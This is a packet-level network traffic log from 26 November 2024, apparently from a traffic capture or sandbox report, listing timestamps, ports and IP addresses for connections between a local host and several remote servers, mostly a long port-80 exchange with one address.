Nov 26, 2024 16:31:48.352077961 CET	49880	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.352277994 CET	443	49884	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:48.352441072 CET	443	49885	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:48.352622032 CET	49884	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:48.352637053 CET	443	49884	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:48.352756977 CET	49885	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:48.352766037 CET	443	49885	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:48.352991104 CET	443	49884	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:48.353110075 CET	443	49885	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:48.353735924 CET	49884	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:48.353820086 CET	443	49884	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:48.354018927 CET	49885	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:48.354096889 CET	443	49885	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:48.359415054 CET	49880	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.359426022 CET	443	49880	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.359436035 CET	49880	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.359441996 CET	443	49880	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.362483978 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.362503052 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.368727922 CET	49890	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.368769884 CET	443	49890	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.368956089 CET	49890	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.370976925 CET	49890	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.370999098 CET	443	49890	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.372905970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.372975111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.374284983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.374299049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.374382019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.374382019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.375540018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.375554085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.375583887 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:48.375619888 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:48.375637054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.375637054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.375680923 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:48.375885963 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:48.375895977 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:48.376754999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.378258944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.378272057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.378427029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.379935026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.380012989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.380888939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.380956888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.382672071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.382731915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.383944988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.383965969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.383995056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.384012938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.385293961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.385354996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.386256933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.386269093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.386327982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.387357950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.387370110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.387442112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.390109062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.390121937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.390132904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.390177011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.390214920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.391669035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.391735077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.392720938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.392822981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.393992901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.394005060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.394061089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.395087957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.395199060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.396364927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.396375895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.396414995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.397593021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.397608042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.397646904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.397686005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.398700953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.398721933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.398777008 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.401320934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.401333094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.401408911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.402719021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.402803898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.403239965 CET	49885	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:48.404094934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.404108047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.404324055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.405209064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.405220985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.405278921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.406440973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.406531096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.407695055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.407713890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.407772064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.407772064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.410079956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.410141945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.410851955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.410864115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.410917044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.412328005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.412339926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.412385941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.413203001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.413305998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.414505005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.414522886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.414652109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.416970015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.416981936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.417037964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.418070078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.418081999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.418092012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.418139935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.418236017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.419770002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.419840097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.420897007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.422138929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.422540903 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.423141003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.423199892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.424312115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.424324036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.424391031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.424397945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.424457073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.425647974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.425659895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.425774097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.427005053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.427016973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.427072048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.427227974 CET	443	49883	20.103.156.88	192.168.2.6
Nov 26, 2024 16:31:48.427299976 CET	49883	443	192.168.2.6	20.103.156.88
Nov 26, 2024 16:31:48.429820061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.429838896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.429853916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.429914951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.429914951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.431545019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.431566000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.431631088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.431787014 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.432619095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.432640076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.432756901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.433917999 CET	49883	443	192.168.2.6	20.103.156.88
Nov 26, 2024 16:31:48.433933020 CET	443	49883	20.103.156.88	192.168.2.6
Nov 26, 2024 16:31:48.434195995 CET	443	49883	20.103.156.88	192.168.2.6
Nov 26, 2024 16:31:48.434264898 CET	49883	443	192.168.2.6	20.103.156.88
Nov 26, 2024 16:31:48.457055092 CET	49884	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:48.459074020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.459085941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.459161997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.459981918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.459994078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.460038900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.460083961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.461250067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.461261988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.461297035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.461333990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.462673903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.463001966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.463013887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.463061094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.463129997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.464217901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.464231014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.464387894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.465785027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.465796947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.465866089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.466888905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.466902018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.466944933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.466996908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.468334913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.468348026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.468389034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.468415976 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.469842911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.469855070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.469865084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.469907999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.469953060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.471096039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.471107960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.471187115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.472430944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.472444057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.472496986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.473968029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.473987103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.474014044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.474054098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.475086927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.475168943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.475223064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.475235939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.475258112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.475330114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.476413965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.476433992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.476464987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.476500988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.477297068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.477380037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.477440119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.477560997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.478996992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.479044914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.498492956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.499651909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.499665022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.499675989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.499686003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.499701023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.499726057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.502150059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.502161980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.502255917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.503287077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.503299952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.503401041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.504715919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.505923033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.505934954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.506042004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.506042004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.506877899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.507167101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.507874012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.508308887 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.508949995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.509497881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.510025978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.510051966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.510488033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.511085987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.511109114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.511214972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.512036085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.512059927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.512106895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.512106895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.513719082 CET	49883	443	192.168.2.6	20.103.156.88
Nov 26, 2024 16:31:48.513789892 CET	443	49883	20.103.156.88	192.168.2.6
Nov 26, 2024 16:31:48.514333010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.514358044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.514391899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.514401913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.515276909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.515341997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.516295910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.516316891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.516336918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.516362906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.517364979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.517389059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.517452955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.518408060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.518460035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.519532919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.519555092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.519592047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.519609928 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.521780968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.521794081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.521840096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.522660971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.522672892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.522711992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.522727013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.523716927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.523729086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.524183989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.527991056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.528003931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.528014898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.528065920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.528095007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.529145956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.529156923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.529203892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.530314922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.530328035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.530371904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.530391932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.531331062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.531413078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.533308029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.533319950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.533425093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.534317970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.534331083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.534362078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.534394979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.535248995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.535262108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.535320044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.535320044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.537707090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.537719011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.537791967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.537791967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.538788080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.538804054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.538855076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.538855076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.539670944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.539685011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.539792061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.540546894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.540560961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.540615082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.542495012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.542565107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.543746948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.543761015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.543797016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.543823004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.544749022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.544764042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.544847012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.545648098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.545661926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.545671940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.545758963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.545772076 CET	49809	80	192.168.2.6	185.215.113.206
